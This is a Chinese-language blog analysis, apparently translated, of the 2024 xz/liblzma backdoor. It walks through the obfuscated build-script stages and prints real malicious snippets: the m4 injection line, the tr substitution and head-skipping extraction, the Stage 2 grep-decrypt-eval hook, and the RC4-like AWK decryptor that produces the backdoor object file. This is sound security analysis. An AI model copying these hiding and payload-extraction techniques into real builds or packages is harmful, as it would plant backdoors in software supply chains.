知名壓縮軟體 xz 被植入後門,駭客究竟是如何做到的?

米开朗基杨發表於2024-04-02

昨天,Andres Freund 透過電子郵件告知 oss-security@ 社群,他在 xz/liblzma 中發現了一個隱藏得非常巧妙的後門,這個後門甚至影響到了 OpenSSH 伺服器的安全。Andres 能夠發現並深入調查這個問題,實在令人敬佩。他在郵件中對整個事件進行了全面的總結,所以我就不再贅述了。

誠然,這個故事中最吸引眼球、最耐人尋味的部分,無疑是那個經過重重混淆的、藏有後門的二進位制檔案。然而,勾起我興趣的,卻是 bash 指令碼一開始的那幾段程式碼,以及其中運用的簡單而巧妙的混淆技法。接下來,就讓我們沿著駭客的足跡,一層層揭開這個謎題的面紗,領略大師級的隱藏技巧。不過請注意,我並不打算事無鉅細地解釋每段 bash 程式碼的所有功能,而是著重剖析它們是如何被層層混淆、又是如何被逐一提取出來的。這才是其中的精髓所在。

在正式開始之前,有幾點不得不提:

  1. 這個後門影響了 xz/liblzma 的兩個版本:5.6.0 和 5.6.1。這兩個版本之間存在一些細微的差異,我會盡量在分析過程中同時覆蓋到它們。
  2. bash 指令碼部分可以劃分為三個 (也可能是四個) 主要階段,我將其稱為 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 檔案中新增的啟動程式碼。至於潛在的 “Stage 3”,雖然我懷疑它尚未完全成型,但也會略作提及。
  3. 那些經過混淆和加密的程式碼,以及後面的二進位制後門,都藏身於兩個看似無害的測試檔案中:tests/files/bad-3-corrupt_lzma2.xztests/files/good-large_compressed.lzma。切莫小覷了它們。

讓我們先來看看 Stage 0 ——這個謎題的開端。

Stage 0

正如 Andres 所指出的,一切的起點都在 m4/build-to-host.m4 檔案。讓我們逐步解讀其中的玄機:

...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
  1. 首先,它從 tests/files/bad-3-corrupt_lzma2.xz 檔案中讀取位元組流,並將其輸出,作為下一步的輸入。讀取完所有內容後,它還會額外新增一個換行符。這種步步相扣的方式在整個過程中隨處可見。

  2. 第二步是執行 tr 命令,將某些字元 (或位元組值) 對映為其他字元。來看幾個例子:

    echo "BASH" | tr "ABCD" "1234"  
    21SH
    

    在這個示例中,“A” 被對映為 “1”,“B” 被對映為 “2”,依此類推。

    我們也可以指定字元範圍。例如在上面的示例中,我們只需將 “ABCD” 更改為 “A-D”,並對目標字符集執行相同的操作:“1-4”:

    echo "BASH" | tr "A-D" "1-4"
    21SH
    

    類似地,我們可以指定它們的 ASCII 程式碼的八進位制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以變成 “\061-\064”。

    echo "BASH" | tr "\101-\104" "\061-\064"
    21SH
    

    回到我們的程式碼中,tr "\t \-_" " \t_\-" 對來自 tests/files/bad-3-corrupt_lzma2.xz 檔案的位元組流做了如下替換:

    • 0x09 (\t) 被替換為 0x20

    • 0x20 (空格) 被替換為 0x09

    • 0x2d (-) 被替換為 0x5f

    • 0x5f (_) 被替換為 0x2d

    這一番調換,實際上起到了 “修復” bad-3-corrupt_lzma2.xz 檔案的作用,讓它重獲新生,成為一個合法的 xz 資料流。

  3. 在 Stage 0 的壓軸戲中,修復後的 xz 位元組流被提取出來,並對過程中的錯誤選擇性地忽略。而這個過程的成果,正是 Stage 1 的指令碼,它隨即自我執行起來。

接下來,讓我們關注 Stage 1 ——那個充滿神秘色彩的開端。

Stage 1

在 Andres 的郵件中,Stage 1 對應的是那個以 “####Hello####” 開頭的 bash 檔案。它雖然篇幅不長,但值得我們仔細研讀,並留意 5.6.0 和 5.6.1 版本之間的差異 (以黃色字型做標記):

第一個區別是第二行註釋中的隨機位元組:

  • 在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC
  • 在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17

我不確定這些差異是否有任何意義,但我還是想指出來。

其中一處引人注目的差異是,5.6.1 版本新增了一段檢查指令碼是否執行於 Linux 的程式碼,並重復出現了 5 次,頗有幾分懺悔和自我約束的意味。

下面我們把目光轉向 Stage 2 的提取程式碼,就是那個長度驚人的 export i=... 語句,裡面塞滿了 head 命令。讓我們仔細分析一下它的運作機制:

  1. 開頭的 export i=... 其實定義了一個 “函式”,在第 3 步和 Stage 2 中被呼叫。

  2. 提取 Stage 2 的第一步,是使用 xz 解壓 good-large_compressed.lzma 檔案,並將解壓後的資料傳遞給下一步。這開啟了一系列環環相扣的 “接力賽”。

  3. 緊接著,i “函式” 登場 (eval $i)。這個函式由一系列 head 命令組成,要麼輸出接下來的 N 個位元組,要麼徹底忽略它們。

    最初的程式碼:

    (head -c +1024 >/dev/null)
    

    這裡的 -c +1024 選項告訴 head 只讀取和輸出來自輸入資料流的接下來的 1024 個位元組 (請注意,這裡的 + 將會被忽略,它不會做任何事情,這與 tail 命令不一樣)。但是,由於輸出在這種情況下被重定向到 /dev/null,我們實際得到的是 “跳過接下來的 1024 個位元組”。

    值得注意的是,如果我們仔細觀察 good-large_compressed.lzma 解壓後的前 1024 個位元組,會發現它幾乎全是重複了 1024 次的字元 “A” (位元組 0x41)。有趣的是,在第一個 1024 個字元之後,還隱藏著一些神秘的二進位制資料。

    下一個 head 呼叫看起來和之前幾乎相同,只是長度不同:

    head -c +2048
    

    注意這裡的輸出不會被忽略,它將作為輸入傳遞給下一步。

    這個模式反覆出現:1024 個位元組被跳過,然後 2048 個位元組被輸出,1024 個位元組被跳過,2048 個輸出...如此迴圈,直到檔案的末尾,在 5.6.0 版本中只輸出 724 個位元組,而在 5.6.1 版本中只輸出 939 個位元組。

    為了直觀地呈現這一點,這裡展示了這組 head 呼叫處理的實際輸入資料。位元組 0 在檔案的左上角;每一列表示檔案的 256 個位元組,以灰度表示。請注意高熵 (“嘈雜”) 區域之間的 “空灰” 區域 – 指令碼的這一部分基本上是刪除空白區域,將蘊藏資料的區域合二為一。

  4. 在下一步中,使用 tail -c +31233 命令丟棄資料的前部 (劇透一下:那裡隱藏了一扇二進位制後門,它將在下一個階段被開啟,所以現在還用不到它)。在 5.6.0 版本中,丟棄的是前 31264 個位元組,而在 5.6.1 版本中是 31232 個位元組 (一個位元組的差異是因為 tail -c +N 的意思是 “從第 N 個位元組開始輸出”,而不是 “忽略前 N 個位元組”)。

  5. 第 5 步重新使用了 tr 命令,在這裡它被用作一個簡單的替換密碼,在 5.6.0 和 5.6.1 版本中有不同的金鑰 (位元組值對映):

    5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"
    

    根據之前的解釋,這基本上意味著 (對於 5.6.0 版本) 值為 5 的位元組將被值為 0 的位元組替換,值為 6 的位元組將被值為 1 的位元組替換,依此類推。在每種情況下,都有 6 個範圍對映到整個 0 - 255 (即八進位制的 377) 範圍。

    整個過程反覆上演著這樣的 “捉迷藏” 遊戲:跳過 1024 位元組,然後輸出 2048 位元組,再跳過 1024 位元組,再輸出 2048 位元組…… 直到抵達檔案的盡頭。

這部分指令碼的真正任務,是剔除其中的 “廢料”,將有價值的資料部分連綴成完整的資料流。

  1. 下一步中,資料流的前面一大段被果斷拋棄。
  2. 往後是藉助 tr 命令實施簡單的替換加密,5.6.0 和 5.6.1 版本使用了不同的金鑰。
  3. 最後,加密後的資料經過解壓縮,呈現出 Stage 2 指令碼的真容,並立即投入自我執行的懷抱。

現在,讓我們進入 Stage 2,一探究竟。

Stage 2

Stage 2 就是 Andres 郵件中提到的 infected.txt 檔案 (我手頭只有 5.6.0 版本)。這個 bash 指令碼可謂洋洋灑灑,正是在這裡,編譯過程遭到了不軌的修改。

以混淆的視角審視這個指令碼,有三個片段值得我們特別關注,其中兩個僅在 5.6.1 版本中才顯露真容

Stage 2 擴充套件機制

首先是 Stage 2 的 “擴充套件” 機制:

片段 1:

vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

片段 2:

vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

這兩個程式碼片段幾乎完全相同,所以讓我們可以同時處理這兩個片段。它們的作用如下:

  1. 它在 tests/files/ 目錄下搜尋 (grep -broaF) 具有特定簽名的兩個檔案:

    Fragment 1: "~!:_ W" and "|_!{ -"
    Fragment 3: "jV!.^%" and "%.R.1Z"
    
  2. 如果找到它們,就提取每個檔案的偏移量 (cut -d: -f2,假定 : 是欄位分隔符,則取第 2 個欄位),以第一個偏移量加 7 為 $start,以第二個檔案的偏移量作為 $end。

  3. 掌握了 $start 和 $end 這兩個關鍵資訊後,指令碼就能從第一個檔案中提取 $start 到 $end 之間的內容。

    cat $f1 | tail -c +${start} | head -c +${end}
    
  4. 接下來,它使用和 Stage 1 如出一轍的替換解密方式 (對於 5.6.0 版本的金鑰)。

    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    
  5. 最後,解密後的資料再次經過解壓縮,然後立即執行:

    eval `... | xz -F raw --lzma2 -dc`
    

有趣的是,在我分析的兩個版本中,都沒有任何檔案真正匹配這裡的簽名。因此,整個過程更像是一種 “外掛/補丁” 機制,它允許我們在不修改原始 payload 的前提下,向 Stage 2 中注入新的指令碼。

這是一個明智的設計,因為反覆修改 “壞” 和 “好” 的測試檔案是非常可疑的行為,可能會引起他人的注意。因此,他們的計劃似乎是隻新增新的測試檔案,這些檔案會被選中、解密並執行。

Stage 2 後門提取

然後是 Stage 2 中的後門提取過程。在某個關鍵時刻,一個 .o 檔案會被悄然提取出來,並巧妙地嵌入編譯和連結的流程中。以下程式碼就是這個環節的主謀(和之前一樣,我將用黃色字型區分兩個版本的差異):

兩個版本之間的差異,主要體現在壓縮後的 payload 大小略有不同(5.6.0 版本的 payload 大小為 88792,而 5.6.1 版本的 payload 大小為 88664),以及 AWK 指令碼中的一個神秘常量有所變化。

與前面的步驟如出一轍,提取過程由一系列命令的完美配合構成。其中一些步驟與 Stage 1 遙相呼應,因為二進位制的 payload 就安睡在 “good” 檔案資料尚未開墾的處女地。讓我們沿著腳印,一步步探尋:

  1. 第一步與 Stage 1的第二步相同,用 xz 解壓 tests/files/good-large_compressed.lzma 檔案。

  2. 第二步同樣與 Stage 1 的第三步一致,呼叫了先前的那個 “很多 head” 的函式。

  3. 從這裡開始,事情就有所不同了。首先,前一步的輸出透過 sed 命令進行了修改:

    LC_ALL=C sed "s/\(.\)/\1\n/g"
    

    這個命令的作用是在每個位元組後面新增一個換行符(除了換行符本身)。最終,我們得到了一個每行只有一個位元組的輸出(沒錯,這裡大量混合了處理檔案的"文字"和"二進位制"方法)。下一步恰好需要這種格式。

  4. 下一步,一個 AWK 指令碼粉墨登場,它對輸入流進行類似 RC4 的解密工作。以下是該指令碼的美化版本:

    BEGIN {  # Initialization part.
      FS = "\n";  # Some AWK settings.
      RS = "\n";
      ORS = "";
      m = 256;
      for(i=0;i<m;i++) {
        t[sprintf("x%key", i)] = i;
        key[i] = ((i * 7) + 5) % m;  # Creating the cipher key.
      }
      i=0;  # Skipping 4096 first bytes of the output PRNG stream.
      j=0;  # ↑ it's a typical RC4 thing to do.
      for(l = 0; l < 4096; l++) {  # 5.6.1 uses 8192 instead.
        i = (i + 1) % m;
        a = key[i];
        j = (j + a) % m;
        key[i] = key[j];
        key[j] = a;
      }
    }
    
    {  # Decription part.
      # Getting the next byte.
      v = t["x" (NF < 1 ? RS : $1)];
    
      # Iterating the RC4 PRNG.
      i = (i + 1) % m;
      a = key[i];
      j = (j + a) % m;
      b = key[j];
      key[i] = b;
      key[j] = a;
      k = key[(a + b) % m];
    
      # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
      # with the key, but here for some add is used instead (might be an AWK thing).
      printf "%key", (v + k) % m
    }
    
  5. 解密後的資料再次透過 xz 解壓縮,重獲新生。

    xz -dc --single-stream
    
  6. 最後,使用相同的常用 head 技巧提取從 N(0)到 W(約 86KB)的位元組,並將其儲存為 liblzma_la-crc64-fast.o——這就是最終的二進位制後門檔案。

    ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
    

總結

透過以上分析,我們可以看到,有人煞費苦心地將這個後門隱藏得如此巧妙,令人歎為觀止。從將 payload 藏匿於看似無害的二進位制測試檔案之中,到運用檔案提取、替換加密、RC4 變種等技巧,再到將整個過程拆分為多個執行階段,並預留 “外掛” 機制以備將來之需,這一切無不凸顯出幕後駭客的心思縝密和技藝精湛。

然而,這個案例也給我們敲響了警鐘:如果這樣一個精心設計的後門都是要靠意外才能發現,那麼,還有多少潛藏的威脅尚未浮出水面?我們又該如何及早發現並防範這些威脅?這需要安全社群每一位成員保持警惕,用更加縝密的思維去分析每一處細節,去揭示每一個蛛絲馬跡。只有如此,我們才能築起維護網路安全的堅實防線。

原文連結🔗:https://gynvael.coldwind.pl/?lang=en&id=782

相關文章